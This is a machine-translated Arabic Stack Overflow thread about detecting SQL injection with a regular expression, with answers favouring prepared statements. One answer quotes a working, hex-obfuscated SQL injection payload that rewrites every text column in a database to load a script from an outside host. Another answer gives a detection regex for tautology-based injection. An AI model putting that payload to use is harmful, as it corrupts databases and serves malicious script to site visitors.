سؤال

هل هناك التعبير العادية التي يمكن الكشف عن SQL في سلسلة ؟ لا أحد يملك عينة من شيء التي كانت تستخدم من قبل للمشاركة ؟

هل كانت مفيدة؟

المحلول

لا تفعل ذلك.أنت عمليا يضمن أن تفشل.استخدام PreparedStatement (أو ما يعادلها) بدلا من ذلك.

نصائح أخرى

استخدام المخزنة procs أو البيانات المعدة ، كيف سيتم الكشف عن شيء مثل هذا ؟ BTW لا تعمل هذا

   DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
   4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

تنقذ نفسك من مشاكل استخدام الإجراءات المخزنة مع البيانات المعدة أو استعلامات بمعلمات.الإجراءات المخزنة هي ممارسة جيدة على أي حال, كما أنهم يتصرفون مثل واجهة قاعدة البيانات حتى تتمكن من تغيير ما يحدث وراء الكواليس (داخل المخزنة proc) لكن التوقيع لا يزال هو نفسه.إعداد البيانات المساعدة في رعاية حقن الحماية.

ليس لدي regex ولكن ما أفهمه هو أن الشيء الأكثر أهمية هو أن يكشف اقتباس مفردة.جميع هجمات حقن تبدأ من هناك.ربما لديهم ... في هناك أيضا التعليق وغيرها من SQL التي قد تكون بعد سلسلة.

كما قال, فمن الأفضل استخدام البيانات المعدة.هل يمكن القول إجبار الرئيسية الاستفسارات ليتم تنفيذها من قبل الإجراء المخزن إلى القوة استخدام إعداد المكالمة.

على أي حال, هنا بسيطة البقرى للكشف عن الكلاسيكية n=n عدد صحيح في الأحكام;يتخطى ضعف 1=1 تستخدم من قبل العديد من كسول الاستعلام منشئات أجل ، ولكن علم ذلك أو

((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4

ويمكن بالطبع تحسين الكشف عن العشرية و مقارنات السلسلة ، لكنها كانت سريعة الكشف عن آلية, جنبا إلى جنب مع غيرها من greps مثل ORD(MID (،الخ.

استخدامه في الاستعلام سجل مثل mysql العام سجل

نأمل المفيد

مرخصة بموجب: CC-BY-SA مع الإسناد
لا تنتمي إلى StackOverflow
scroll top